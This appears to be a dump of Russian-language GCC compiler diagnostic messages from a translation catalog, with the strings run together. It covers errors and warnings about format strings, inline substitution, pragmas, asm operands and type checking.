аргумент %d функции форматирования перед использованным %d в $-форматеаргумент формата %d использован более одного раза в формате %sформат задан как строка широких символовформат не является строковой константой, и не заданы аргументы форматированияформат не является строковой константой, проверка типов аргументов не выполненаформат не является строкой константой, проверка формата не выполненааргумент с форматной строкой после аргументов, подлежащих форматированиюаргумент, задающий формат, имеет не строковый типневерное число операндов в форматной строкесоздание %s на ссылочный тип %qTсоздание ссылки на voidВ протоколе найдено %<-%s%> вместо %<+%s%>найдено действительное определение для не-регистранайдено виртуальное определение для GIMPLE-регистранайден объект SSA_NAME, помещенный в пул свободной памяти-mfp-trap-mode=su требует -mtrap-precision=ifr30_print_operand: некорректный код %%Ffr30_print_operand: некорректный код %%xfr30_print_operand: некорректный операнд для кода %%Afr30_print_operand: необработанная конструкция MEMfr30_print_operand: некорректный кодfr30_print_operand: неопознанный код %%Bfr30_print_operand: неопознанный код %%bfr30_print_operand: неопознанный код %%pfr30_print_operand_address: необработанный адрескадр слишком велик для надежного контроля стекаfriend-декларация вне определения классав friend-декларации требуется указание класса: %<friend %#T%>в friend-декларации требуется указание класса: %<friend class %T::%D%>предыдущая декларация %q+Fв этом местеfrv_print_operand: некорректный кодфункция %q#D инициализирована как переменнаяопределение функции %q+D помечено dllimportфункция %q+D повторно декларирована как inlineфункция %q+D повторно декларирована с атрибутом noinlineinline-подстановка функции %q+F невозможна, поскольку функция использует вычисляемый gotoподстановка функций %q+F невозможна, т.к. задан ключ -fno-inlineinline-подстановка функции %q+F невозможна, поскольку имеют нелокальные переходы в эту функциюinline-подстановка функции %q+F невозможна, поскольку функция использует __builtin_return или __builtin_apply_argsinline-подстановка функции %q+F невозможна, поскольку функция использует alloca (задайте атрибут always_inline)подстановка функции %q+F невозможна, т.к. она имеет атрибуты, препятствующие inline-подстановкеinline-подстановка функции %q+F невозможна, поскольку функция использует не локальный gotoinline-подстановка функции %q+F невозможна, поскольку функция использует setjmpinline-подстановка функции %q+F невозможна, поскольку функция содержит обработку исключительных ситуаций setjmp-longjmpinline-подстановка функции %q+F невозможна, поскольку функция использует списки из переменного числа аргументовinline-подстановка функции %q+F невозможна, поскольку функция использует переменные переменного размерафункция %qD объявлена виртуальной внутри объединенияфункция %qD инициализирована как переменнаянедопустимая декларация функции %qs как %<mutable%>тело функции недоступнофункция возвращает агрегатное значениевызов функции через несовместимый типдекларация функции не является прототипомфункция декларированная с атрибутом %<noreturn%> содержит оператор %<return%>определение функции со спецификатором %<__thread%>определение функции с классом хранения %<auto%>определение функции с классом хранения %<register%>определение функции с классом хранения %<typedef%>определение функции не объявляет параметрыв определении функции задан квалифицированный void-тип возвращаемого значенияфункция возвращает значение не строкового типаэтой функции, вероятно, можно задать атрибут форматирования %sфункция не подлежит inline-подстановкефункция не объявлена включаемой, а размер кода увеличитсяinline-подстановка функции невозможнарезультат функции не может иметь тип функциитипы возвращаемых значений функции несовместимы из-за %<volatile%>функция возвращает адрес локальной переменнойфункция возвращает агрегатное значениес точки зрения ISO C типы функций не являются строго совместимымиимя %qs на уровне функции неявно имеет класс auto и объявлено %<__thread%>Поддержка function_profilerподдержка function_profiler для MMIXдрайвер gcc версия %s; %sисполняет gcc версия %s
gcc версия %s %s
gcov %s%s
исходный максимальный размер core-файла: %mглобальные конструкторы не поддерживаются для этой платформыглобальная декларация %q+#Dглобальные деструкторы не поддерживаются для этой платформыглобальная регистровая переменная %qD использована во вложенной функцииглобальная регистровая переменная %qs использована во вложенной функцииглобальная регистровая переменная - за определением функцииглобальная регистровая переменная имеет начальное значениеПерехвачено присваивание к глобальной или статической переменнойзначение gp постоянно (но при косвенных вызовах его нужно сохранять и восстанавливать)пришлось переместить PCHголовная RTL-инструкция %d для блока %d не найденаМаксимальный рост объема кода для единицы компиляции в результате inline-подстановок (в процентах)аппаратная плавающая точка или iWMMXtia64_print_operand: некорректный кодпри достижении этого кода выполнение программы завершится аварийноигнорируется %<#pragma align%> для явно выравненного %q+Dотбрасываются %qV квалификаторов, добавленных к типу функции %qTasm-спецификация в описании локальной нестатической переменной %q+D игнорируетсяповторное задание каталога "%s" проигнорировано
некорректная #pragma longcall проигнориовананесуществующий каталог "%s" проигнорирован
атрибут packed проигнорирован для неупакованного не-POD поля %q+#Dпроигнорирован неопознанная опция %q.*s в %<-fdump-%s%>Задан некорректный сложный тип %qs для переменной %qsнекорректный ссылочный тип для instance-переменной %qsнеявная декларация функции %qEнеявно выталкиваемые регистры должны быть сгруппированы на вершине стеканекорректное ограничение в %<asm%>недопустимый ограничитель для регистра в операторе %<asm%>в %s, в %s:%dв блоке %dв декларации %q+Dнеподходящий сумматор для %qsчисло входящих дуг не соответствует числу аргументов PHIнесовместимая неявная декларация внутренней функции %qDнесовместимая неявная декларация функции %qDнесовместимый тип аргумента %d функции %qEнесовместимые типы в присваивании %qT -> %qTнедоопределенный ключ '%s'неполная реализаций категории %qsнеполная реализаций класса %qsнеполный тип %qT не имеет элемента %qDпротиворечивая спецификация instance-переменнойнекорректные ограничители операндов в операторе %<asm%>некорректная инструкция:недопустимое разделение узлов дереваинкрементация указателя на неизвестную структуруинкрементация элемента %qD, доступного только на чтениеинкрементация переменной %qD, доступной только на чтениеиндекс размерности %d выходит за границы в %Lзначение индекса вместо имени поля в инициализаторе объединенияв объекте %s найдена функция initинициализация отменяет квалификаторы указуемого типаинициализации с помощью отличного Objective-C типанесовместимый тип указателя в инициализациилевой части инициализации, вероятно, можно задать атрибут formatпри инициализации указатель преобразуется в целое без приведения типапри инициализации целое преобразуется в указатель без приведения типаинициализация добавляет квалификатор к указателю на функцию без квалификаторовинициализация регулируемого элемента-массиваинициализация элемента регулируемого элемента-массива во вложенном контекстеинициализированное поле перезаписаноповторная инициализация поля с побочными эффектамиинициализированная переменная %q+D помечена как dllimportинициализирующий элемент не может быть вычислен во время компоновкиэлемент инициализатора не является константойпреждевременное завершение инициализаторапри инициализации не удалось определить размер %q+Dпри инициализации не удалось определить размер %qDинициализатор для %qT должен быт заключен в фигурные скобкиинициализирующее выражение для плавающего не является плавающей константойинициализатор недопустим для статического элемента с конструктороминициализатор задан для невиртуального метода %q+Dинициализатор задан для статического элемента функции %qDслишком длинная строка инициализации для символьного массиваinline-декларация %qD после декларации с атрибутом noinlineinline функция %q+D декларирована как dllimport: атрибут игнорируетсяinline функция %q+D с атрибутом noinlineinline функция %q+D использована, но нигде не определенанекорректный указатель inlined_toуказатель inlined_to ссылается на себяуказатель inlined_to установлен для не inline вызоваinline-подстановка при вызове %q+F не выполнена: %sограничитель входного операнда содержит %qcRTL-инструкция %d - внутри блока %d, а block_for_insn=%iRTL-инструкция %d - внутри блока %d, а block_for_insn=NULLинструкция %d в нескольких блоках (%d и %d)RTL-инструкция не удовлетворяет своим ограничениям:RTL-инструкция - вне блокаустановка: %s%s
доступ к instance-переменной %qs в методе классаinstance-переменная %qs имеет неизвестный размерinstance-переменная %qs является %s; в будущем это будет считаться серьёзной ошибкойinstance-переменная %qs декларирована как %sinstance-переменная %qs объявлена как privateперехвачено присваивании instance-переменнойинструкция никогда не выполняетсяпланирование команд для этой платформы не поддерживаетсяинициализация массива int строкой не широких символовцелая константа слишком велика для типа %qsпереполнение при вычислении целочисленного выраженияцелочисленное выражение %qE не является константойинтерфейс %qs не имеет корректной структуры константной строкивнутренняя ошибка компилятора: некорректный адрес:Внутренняя ошибка компилятора: некорректный сдвиг:внутренняя ошибка компилятора: неизвестный режим:внутренняя ошибка компилятора: обнаружена несогласованность внутреннего представления gccвнутренняя ошибка - некорректное Utf8-имявнутренняя ошибка: некорректный регистр: %dвнутренняя ошибка: некорректные операнды cris_side_effect_mode_okвнутренняя ошибка: инструкция с побочным эффектом, влияющим на основной эффектаварийный выход в %s, в %s:%dподпрограммы Service Routines для прерываний не могут использоваться в режиме Thumbнекорректная директива #pragma %sнекорректный модификатор после %%некорректный операнд для %%Aнекорректный операнд для %%Bнекорректное значение %%Cневерное значение для кода %%Dнекорректное значение %%Eнедопустимое значение для кода %%Fнедопустимое значение для кода %%Gнекорректное %%H значениенедопустимое значение для кода %%Jнекорректное %%J значениенедопустимое значение для кода %%Kнекорректное значение %%Lнекорректное значение %%Mнекорректное значение %%Nнедопустимое значение для кода %%Oневерный операнд для кода %%Pнекорректное значение %%Pнекорректное значение %%Rнедопустимое значение для кода %%Sнедопустимое значение для кода %%Tнекорректное значение %%Uнекорректный операнд для %%Yнекорректный операнд для %%cнекорректный операнд для %%dневерное значение для кода %%dнекорректный операнд для %%fнедопустимое значение для кода %%fнекорректное значение %%hнедопустимое значение для кода %%jневерное значение %%jнедопустимое значение для кода %%kнекорректное значение %%Mневерное значение для кода %%pнедопустимое значение для кода %%qнекорректное значение %%rнекорректный операнд для %%sнекорректное значение %%sневерное значение для кода %%t/%%bнедопустимое значение для кода %%uнедопустимое значение для кода %%vневерное значение для кода %%xнекорректный код %%xnнекорректная директива 'asm': некорректное значение ключа --param %qsневерный параметр ABI: -mabi=%sнекорректное значение PC в таблице номеров строкнекорректный операнд UNSPECнекорректная замена Z-регистра в инструкциинекорректный доступ к нестатическому элементу данных %qD NULL-объектанекорректный адреснедопустимое применение %<sizeof%> к типу функциинекорректное применение %qs к элементу-функциинедопустимое применение %qs к типу voidнекорректное применение %qs к неполному типу %qT некорректный аргумент атрибута %qsневерный аргумент для %<__builtin_frame_address%>неверный аргумент для %<__builtin_return_address%>некорректная спецификация базового классанекорректное приведение к типу функции %qTнекорректный операнд условного операторанекорректное применение const_cast от типа %qT к типу %qTнекорректное применение const_cast от rvalue-выражения типа %qT к типу %qTнекорректный операнд const_doubleнекорректная константа в %<#pragma pack%> - директива проигнорировананекорректные ограничения для операнданекорректный конструктор; возможно, вы имели в виду %<%T (const %T&)%>некорректное преобразование из %<__fpreg%>некорректное преобразование из %qT в %qTнекорректное преобразование к %<__fpreg%>некорректное преобразование к типу %qT от типа %qTнекорректный ковариантный тип результата для %q+#Dнекорректное определение квалифицированного типа %qTв списке операндов задано некорректное выражениенекорректный ключ плавающей арифметики: -mfloat-abi=%sнекорректный ключ эмуляции плавающей арифметики: -mfpe=%sнекорректный ключ плавающей арифметики: -mfpu=%sнекорректная инициализация внутри класса статического элемента данных нецелочисленного типа %qTнекорректное начальное значение для элемента %qsнекорректная инициализация неконстантной ссылки типа %qT из временного выражения типа %qTнекорректная инициализация ссылки типа %qT из выражения типа %qTневерный инициализаторнедопустимая инструкция:неверное lvalue-выражение в выходном операторе %d оператора asmнекорректная масканекорректная декларация элемента-функциинекорректная декларация элемента-шаблона %qDнекорректный код операнда '%c'некорректный операнд для модификатора 'A'некорректный операнд для модификатора 'D'некорректный операнд для модификатора 'H'некорректный операнд для модификатора 'O'некорректный операнд для модификатора 'T'некорректный операнд для модификатора 'b'некорректный операнд для модификатора 'e'некорректный операнд для модификатора 'm'некорректный операнд для модификатора 'o'некорректный операнд для модификатора 'p'некорректный операнд для модификатора 'z'недопустимый операнд для кода '%c'некорректный операнд для кода '%c'некорректный операнд в инструкциинекорректный модификатор операнданеверный код выходного операнданекорректный операнд для кода %%H/%%Lнекорректный операнд для кода %%Nнекорректный операнд для %%Rнекорректный операнд для кода %%Rнекорректный операнд для %%Sнекорректный операнд для кода %%T/%%Bнекорректный операнд для кода %%Uнекорректный операнд для кода %%Vнекорректный операнд для кода %%pнекорректный операнд для кода %%sнекорректный операнд для %<__fpreg%>некорректный аргумент ключа %qsнекорректный параметр %qsнедопустимая комбинация параметров для AltiVec intrinsicнекорректный тип параметра %qTнеизвестная машинный режим %qs для указателянекорректный указатель на битовое поле %qDнекорректный знак %qc в ограничителенекорректные квалификаторы для типа функции, не являющейся элементомнекорректный тип приемника %qsнекорректная декларация %q+Dневерный префикс ссылкинекорректный регистр в инструкциинекорректный регистр в инструкции moveнекорректное имя регистра для %q+Dнекорректная инструкция rotateНекорректное разделение rtl-кода в инструкциивместо неверного второго аргумента %<__builtin_prefetch%> используется нольнекорректный оператор сдвиганекорректное применение static_cast от типа %qT к типу %qTдля функции %qs задан неверный класс хранениянекорректная template-декларация %qDвместо неверного третьего аргумента `__builtin_prefetch' используется нольнекорректный указателя потока: -mtp=%sнекорректный тип %<void%> задан для newнекорректный тип %qT является инициализатором для вектора типа %qTнекорректный тип %qT объявлен %<friend%>некорректный тип аргументаневерный аргумент для %qsнекорректные типы %<%T[%T]%> для индекса массиванекорректное использование %%d, %%x или %%Xнедопустимое использование %<::%>неверное употребление спецификатора %<restrict%>некорректное использование %<this%> на внешнем уровненекорректное использование %<this%> в функции, не являющейся элементомнекорректное использование %qDнекорректное применение %qs к указателю на элементнедопустимое использование '%%%c'некорректное использование указателя на неполный тип в вычислениях с указателяминеправильное использование массива с неопределенными границаминекорректное применение const_cast с типом %qT, являющимся указателем или ссылкой на функциюнекорректное применение const_cast с типом %qT, не являющимся ни указателем, ни ссылкой, ни  указателем на элемент данныхнеправильное использование регулируемого элемента-массива в структуренеправильное использование недоопределенного typedef %qDнекорректное использование элемента %q+D в статическом элементе-функциинекорректное использование массива, не являющегося левой частью присваиваниянекорректное использование нестатического элемента %q+Dнекорректное использование нестатического элемента %qDнекорректное использование нестатической функции-элементанекорректное использование нестатической функции-элемента %qDнедопустимое использование квалифицированного имени %<%D::%D%>недопустимое использование квалифицированного имени %<%T::%D%>недопустимое использование квалифицированного имени %<::%D%>неверное употребление структуры с регулируемым элементом-массивомнекорректное использование идентификатора шаблона %qD в декларации первичного шаблонанеправильное использование неопределенного типа %<%s %E%>неправильное использование void-выраженияневерно задан векторный тип для атрибута %qEнекорректный номер версии '%s'invoke[non-static] применено к статическому методуinvokestatic применено к абстрактному методуinvokestatic применено к нестатическому методуdest_idx блока должен быть %d, а не %dобласть действия типа - только данная декларация или определение, что может не соответствовать вашим намерениямдля работы с ABI iwmmxt необходим процессор с подержкой iwmmxtjcf-dump: не задано имя класса
оптимизация обхода переходов отключенапереход в область идентификатора с переменно модифицируемым типомпереход в выражение-операторпереход по case-меткепереход по метке %q+Dпереход по метке %qDмусор в конце #pragma %sмусор в конце #pragma GCC java_exceptionsмусор в конце #pragma ghs endsdaмусор в конце #pragma ghs endtdaмусор в конце #pragma ghs endzdaмусор в конце #pragma ghs interruptмусор в конце #pragma ghs sectionмусор в конце #pragma ghs startsdaмусор в конце #pragma ghs starttdaмусор в конце #pragma ghs startzdaмусор в конце #pragma longcallмусор в конце %<#pragma GCC visibility%>мусор в конце %<#pragma fini%>мусор в конце директивы %<#pragma pack%>мусор в конце директивы '#pragma options'мусор в конце директивы '#pragma unused'мусор в конце строки сигнатурыключевое слово %<export%> не реализовано; игнорируетсяметка %q+D декларирована, но не определенаметка %q+D определена, но не используетсяметка %q+D используется, но не определяетсяссылка на метку %qE вне функцииметка с именем wchar_tlang_* check: ошибка в %s, в %s:%dнекорректное задание языка %sнекорректная строка %<"%E"%>, задающая языкнеявное приведение большого целого значения к беззнаковому типупредставление классов, производных от пустого класса %qT, может измениться в будущих версиях GCCвыполнение ld завершилось с кодом возврата %dточность левой части значенияточность левой части значения в формате strfmonвеличина сдвига влево больше или равна ширине данного типасдвиг влево на отрицательное число позицийлевый операнд операции `запятая' не имеет побочных эффектовмодификатор размерамодификатор размера в формате printfмодификатор размера в формате scanfмодификатор размера в формате strfmonбиблиотеки: %s
библиотечная функция %q#D декларирована повторно как не функция %q#Dне найдена библиотека lib%slo_sum не от регистралокальный класс %q#T не должен иметь статический элемент данных %q#Dлокальное описание %qs перекрывает одноименную переменнуюконстанта long long не является корректным непосредственным операндомневерное употребление long, short, signed или unsigned в описании %sзаголовок цикла %d не принадлежит циклузаголовок цикла %d не имеет в точности 2 входазатвор (latch) цикла %d не принадлежит непосредственно циклузатвор (latch) цикла %d не имеет в точности 1 преемниказатвор (latch) цикла %d не содержит заголовок цикла среди преемниковзатвор (latch) цикла %d помечен как часть несокращаемого регионанижняя граница диапазона case-метки меньше чем минимальное значение данного типане задано имя макроса после %qsв результате которой %qD становится статическимНекорректный синтаксис #pragma builtinНекорректный синтаксис #pragma builtinневерный синтаксис #pragma extern_prefix, директива проигнорировананекорректная директива #pragma ghs sectionневерный синтаксис #pragma redefine_extname, директива проигнорировананеверный синтаксис #pragma weak, директива проигнорировананекорректный синтаксис %<#pragma pack%> - директива проигнорировананекорректный синтаксис %<#pragma pack(pop[, id])%> - директива проигнорировананекорректный синтаксис %<#pragma pack(push[, id][, <n>])%> - директива проигнорировананекорректная директива '#pragma options align={mac68k|power|reset}', игнорируетсянекорректная директива '#pragma options', игнорируетсянекорректные аргументы spec-функциинекорректное имя spec-функциимаска должна быть непосредственным значениемограничитель не допускает использование регистраограничитель по номеру недопустим для выходного операндаограничитель ссылается на неверный номер операндамаксимальное значение параметра %qs равно %u-EB и -EL несовместимы-m32 и -m64 несовместимыmedia-функции не доступны без ключа -mmediaэлемент %q+#D с конструктором недопустим в анонимном агрегатном типеэлемент %q+#D с конструктором не допускается в объединенииэлемент %q+#D с операцией присваивания-копирования недопустим в анонимном агрегатном типеэлемент %q+#D с операцией присваивания путем копирования не допускается в объединенииэлемент %q+#D с деструктором недопустим в анонимном агрегатном типеэлемент %q+#D с деструктором не допускается в объединенииэлемент %qD не может быть декларирован как virtual и staticэлемент %qD конфликтует с именем поля в таблице виртуальных функцийэлемент %qD объявлен другом до определения типа %qTэлемент %qD - неинициализированная ссылкаэлемент %qD с неинициализированными константными полямиэлементы-функции неявно считаются friend-функциями своего классаневозможна прямая адресация к входной позиции памяти %dметод '%s' отсутствует в классе декларация метода вне контекста @interfaceне найдено определение метода для %<%c%s%>определение метода вне контекста @implementationв вызове [super dealloc] возможно отуствует методминимальное значение параметра %qs равно %uпрофилирование функций mips16mips_debugger_offset вызвана не с указателем стека/кадра/аргументанесовпадающие аргументынесоответствие сигнатуры для поля '%s' в '%s'некорректное положение атрибута ConstantValueотсутствует номер операнда (с символом $)отсутствует %<(%> после %<#pragma GCC visibility push%> - директива проигнорированаотсутствует %<(%> после %<#pragma pack%> - директива проигнорированаотсутствует '(' после '#pragma unused', игнорируетсяотсутствует ')' после '#pragma unused', игнорируетсяотсутствует атрибут Codeотсутствует пометка REG_EH_REGION в конце блока %iотсутствует аргумент для %<__builtin_args_info%>отсутствует аргумент для "%s"отсутствует аргумент для "-%s"отсутствует аргумент ключа '%s'отсутствует барьер после блока %iотсутствуют фигурные скобки вокруг инициализатораотсутствуют фигурные скобки вокруг инициализатора %qTотсутствует дуга callgraph для инструкции вызова:отсутствует закрывающая скобка для именованного операндаотсутствует закрывающая скодбкаотсутствует определениеотсутствует дуга %i->%iотсутствует поле '%s' в '%s'не задано имя файла после %qsне задан символ-заполнитель в конце формата strfmonпропущен инициализаторотсутствует инициализатор для элемента %qDне задана цель после %qsотсутствует числоотсутствует открывающая скодбкаотсутствует операндне задан маршрут после %qsотсутствует терминирующий символ %cотсутствует имя типа в typedef-декларациисмешение обработчиков прерываний C++ и Java в одном модулеmno-cygwin и mno-win32 несовместимырежим %qs применен к неподходящему типу%<asm%> содержит более %d операндовинструкция move не обработанаms-bitfields не поддерживается для objcmudflap не может отслеживать %qs в stub-функцияхmudflap не может отслеживать внешние %qs неизвестного размераmudflap-проверки еще для ARRAY_RANGE_REF еще не реализованыmudflap: этот язык не поддерживаетсяв многомерном массиве должны быть определены границы для всех размерностей, кроме первойисключение '%s' в мультибиблиотеке некорректноисключения '%s' в мультибиблиотеке некорректнывыбор мультибиблиотеки '%s' некорректенописание мультибиблиотеки '%s' некорректнообнаружено несколько %s с именем %<%c%s%>несколько меток default в операторе switchповторное определение %q#Tинициализация нескольких полей в объединении %qTзадано несколько атрибутов типа функцииобнаружены множественные переходы hot/cold (блок %i)множественные inline-вызовыболее одного параметра с именем %q+Dв декларации %qs задано более одного класса храненияв декларации задано более одного класса хранениянесколько типов в одной декларациинеобходимо включить #include <typeinfo> до использования идентификатора типаmvcle useнекорректная информация в репозитории %sимя %qD использовано в назначенном инициализаторе массива, являющемся GNU-расширением языкаимя %qT имеет неполный типпоиск имени %qD измененне задано имя элемента-функциипространство имён %qD не допускается в using-декларациииспользование пространства имён %qD здесь недопустимо; предполагается %qDанонимные агрегатные данные в области видимости пространства имён должны быть статическиминеобходимо вставить проверку %s на стадии выполненияотрицательная длина RTL-инструкциинеявное приведение отрицательного целого значения к беззнаковому типуотрицательная глубина вложенности региона %iотрицательная ширина битового поля %q+Dбитовое поле %qs имеет отрицательный размерни деструктор, ни специфический для класса оператор delete не будут вызваны, даже если они декларированы в определении класса.вложенные альтернативы диалектов ассемблеравложенная extern-декларация %qDвложенная функция %q+D объявлена, но нигде не определенавложенная функция %qs объявлена %<extern%>вложенное переопределение %<enum %E%>вложенное переопределение %<struct %E%>вложенное переопределение %<union %E%>new нельзя применять к типу функцииnew нельзя применять к ссылочному типуне найден метод %<%c%s%>нет элемента-функции %q#D в классе %qTОтменить FUNCTION_PROFILER для CRISотсутствуют аргументыне заданы аргументы spec-функциине задано имя класса для %qsшаблон класса с именем %q#T' отсутствует в %q#Tотсутствует %<]%> для формата %<%%[%>не найдено покрытие для функции %qsтип данных, соответствующий режиму %qs, не существуетописание отсутствуетотсутствует список immediate_useне задано ни одного входного файлане заданы входные файлынет входных файлов; выходные файлы не будут записаныни один целочисленный тип не годится для представления всех значений перечислимого типа %qTнет свободных low-регистров для выталкивания high-регистровне найден метод для преобразования в %<(%T) (%A)%>нет способа для преобразования функции %qD к типу %q#Tнет соответствующей функции для вызова %<%D(%A)%>нет подходящей функции для вызова %<%T::%s(%A)%#V%>отсутствует соответствующая директива push для %<#pragma GCC visibility pop%>нет подходящего шаблона для %qDнет элементов, соответствующих %<%T::%D%>, в %q#Tотсутствует предварительная декларация %q+Dпрототип для %q+D не был предварительно определенотсутствует профилирование 64-битного кода для этого ABIне задан регистр в адресев функции, которая должна возвращать значение, отсутствует оператор returnотсутствует sclass для %s stab (0x%x)не найдено подходящего %qD в классе %qTв @interface для %qs нет декларации суперклассани один из родительских классов не декларировал интерфейс для %qsотсутствует уникальное переопределение %qD в %qTнеадресуемая переменная в множестве алиасовнелокальная функция %q#D использует анонимный типнелокальная функция %q#D использует локальный тип %qTнелокальная функция %q#D использует анонимный типнелокальная переменная %q#D использует локальный тип %qTне lvalue-массив в условном выражениинедопустимая декларация не-элемента %qs как %<mutable%>недопустимая декларация не объектного элемента %qs как %<mutable%>не параметрический %qs не может содержать параметрынестатический константный элемент %q+#D в классе без конструкторанеstatic-декларация %q+D после static-декларациине статическая инициализация регулируемого элемента-массива в структуренестатическая ссылка %q+#D в классе без конструкторане-шаблонный тип %qT использован как шаблонне локальная для потока декларация %q+D следует после локальной для потока декларациинеконстантный индекс массива в инициализаторев непустом аргументе задан неверный номер операнда (аргумент %lu)непустой аргумент ссылается на операнд, не являющийся указателем (аргумент %lu, операнд %lu)непустой аргумент содержит номер операнда вне диапазона (аргумент %lu, операнд %lu)непустой атрибут без аргументов допустим только в прототипахнекорректный Java .class файлданная конфигурация не поддерживает ABI: '%s'суффикс системных заголовков не сконфигурированнедостаточная информация о типефункция не защищена: отсутствует буфер размера не менее %d байтлокальные переменные не защищены: буфер переменного размеране реализовано: inline-подстановка sqrt, оптимизированная по латентностизамечание: пустой аргумент в позиции, где требуется непустой (аргумент %lu)число должно быть 0 или 1число аргументов не соответствует встроенному прототипучисло аргументов не соответствует прототипучисло меток блоков в списке RTL-инструкций (%d) != n_basic_blocks (%d)число компонент вектора не является степенью двойкичисло счётчиков %d, а должно быть %dдоступ к объекту %qE неполного типа %qT не будет осуществлён в %sотсутствует объект в ссылке на %q+Dне задан объект при использовании %qEдоступ к объекту неполного типа %qT не будет осуществлён в %sдоступ к объекту типа %qT не будет осуществлён в %sУстаревший ключ -I-, используйте, пожалуйста, вместо него -iquoteсмещение %q+D несовместимо с ABI и может измениться в будущих версиях GCCсмещение пустой базы %qT может быть несовместимо с ABI и может быть изменено в будущих версиях GCCсмещение виртуальной базы %qT несовместимо с ABI и может быть изменено в будущих версиях GCCотступ за пределами константной строкиневозможно кодирование пропущенного среднего опреанда %<?:%>только декларации конструкторов могут быть %<explicit%>Только инициализированные переменные могут размещаться в области программной памятив секции .bss размещаются только неинициализированные данныеТолько неинициализированные переменные могут размещаться в секции .noinitв данной конфигурации поддерживаются только слабые алиасывектор скрытого типа не может быть инициализированopen /dev/zero: %mпри открытии файла зависимостей %s: %mпри открытии выходного файла %s: %mпервый операнд должен быть аппаратным регистромограничитель операнда содержит неверно позиционированный %<+%> или %<=%>ограничители %<asm%> различаются по числу альтернативоперанд не является константой или кодом условия, неверный код операнда 'c'не задан номер операнда после %%-букваномер операнда вне диапазонаномер операнда в формате вне диапазонаномер операнда указан в формате без аргументовномер операнда указан без подавления присваиванияоперация над %qE может дать неопределенный результатоптимизация может удалить чтения или записи регистровых переменныхразмер кода увеличится при включённой оптимизации по размеруактивные ключи: переданы ключи: упорядоченное сравнение указателя с целочисленным нулемinline-функции, переопределённые как extern, не подлежат подстановкенедостаточно памятинеправильный внешний блок региона %iвыходной ограничитель %d нельзя использовать с порчей "%s"ограничитель выходного операнда %d должен задавать один регистрвыходной ограничитель %qc операнда %d - не вначаледважды задано имя выходного файланевозможна прямая адресация к выходному операнду %dвыходной операнд %d должен содержать ограничитель %<&%>в ограничителе выходного операнда отсутствует %<=%>выходной операнд %<asm%> - константавыходные регистры должны быть сгруппированы на вершине стекаoutput_move_single:переполнение в размерности массивапереполнение при вычислении константного выраженияпереполнение значений перечислимого типапереполнение в перечисляемых значениях для %qDпереполнение при неявном преобразовании константыатрибут packed приводит к неэффективному выравниваниюатрибут packed дает неэффективное выравнивание для %q+Dатрибут packed приводит к неэффективному выравниванию для %qsатрибут packed не требуетсяатрибут packed для %q+D не нуженатрибут packed для %qs не требуетсядополнение размера структуры до границы выравниваниявставка отступов в структуру для выравнивания %q+Dпараметр %P имеет неполный тип %qTпараметр %P %qD имеет неполный тип %qTпараметр %q+D объявлен %<inline%>параметр %q+D объявлен voidпараметр %q+D имеет неполный типдля параметра %q+D есть только упреждающая декларацияпараметр %qD объявлен voidпараметр %qD включает %s на массив с неизвестной границей %qTнекорректная декларация параметра %qD с типом методапараметр %qD инициализированпараметр %u (%q+D) имеет неполный типпараметр %u (%q+D) имеет тип voidпараметр не может иметь модифицированный тип `%Tв декларации функции указаны имена параметров без типовчастичная специализация %qT объявлена %<friend%>при передаче %qT предпочтение отдается %qT, а не %qTаргумент %d %qE согласно прототипу будет передан как %<float%>, а не %<double%>аргумент %d %qE согласно прототипу будет передан как комплексное, а не плавающееаргумент %d %qE согласно прототипу будет передан как комплексное, а не целоеаргумент %d %qE согласно прототипу будет передан как плавающее, а не комплексноеаргумент %d %qE согласно прототипу будет передан как плавающее, а не целоеаргумент %d %qE согласно прототипу будет передан как целое, а не комплексноеаргумент %d %qE согласно прототипу будет передан как целое, а не плавающееаргумент %d %qE согласно прототипу будет передан как signedаргумент %d %qE согласно прототипу будет передан как unsignedпередача аргумента %d %qE отменяет квалификаторы указуемого типаПередача аргумента %d функции %qE с отличающимся Objective-C типомв передаче аргумента %d %qE: несовместимый тип указателяпри передаче аргумента %d %qE указатель преобразуется в целое без приведения типапри передаче аргумента %d %qE целое преобразуется в указатель без приведения типапередача аргумента %d %qE добавляет квалификатор к указателю на функцию без квалификатороваргумент %d %qE согласно прототипу будет передан с другой ширинойпередача плавающих аргументов на регистрах пока не поддерживаетсяпрагма pch_preprocess может использоваться только с ключом -fpreprocessedошибка в pex_initнекорректно производить арифметические операции с указателями на объекты, управляемые сборщиком мусорауказатель на объект вне функции, но имя не помечено как портящееся при вызовахв арифметическом выражении использован указатель %<VOID *%>указатель %<void *%> в операции вычитанияв присваивании указуемые типы различаются знаковостьюв инициализации указуемые типы различаются знаковостьюпри передаче аргумента %d %qE: указуемые типы различаются знаковостьюпри возврате результата указуемые типы различаются знаковостьюв арифметическом выражении использован указатель на функциюуказатель на функцию в операции вычитанияпреобразование указателя к элементу через виртуальную базу %qTв арифметическом выражении использован указатель на элемент-функциюнесоответствие указательных типов в условном выраженииуказатель вместо ожидаемого комплексного значенияуказатель вместо ожидаемого плавающего значенияуказатель на элемент-функцию %E нельзя вызвать без задания объекта; рекомендуется использовать конструкцию .* или ->*несоответствие типов указатель/целое в условном выражениив конструкции case нельзя употреблять указателиуказатели с тегом памяти должны иметь множества указуемых объектовв вызове оператора delete обнаружена возможная проблема:постинкрементный адрес - не регистрпостфиксный %qD должен иметь аргумент типа %<int%>постфиксный %qD должен иметь второй аргумент типа %<int%>постфиксный %qD должен возвращать %qTпредекрементный адрес - не регистрпреинкрементный адрес - не регистрточностьточность в формате printfпредикативная инструкция для архитектуры Thumbпредикативная инструкция в условной последовательностипрефиксный %qD должен возвращать %qTпредшественником (prev_bb) блока %d должен быть %d, а не %dпредыдущая декларация %q+Dпредыдущая декларация %q+Dздесь была предыдущая декларация %q+Dфункция %q+D была ранее декларирована как inlineпредыдущая декларация %q+D с атрибутом noinlineэто предыдущая декларация %qsздесь было предыдущее определение %q+Dпредыдущая внешняя декларация %q+#Dздесь была предыдущая неявная декларация %q+Dпредыдущая декларация не-функции %q+#Dподдержка профилирования для VxWorksпрофилирование с -mg не поддерживается
программы: %s
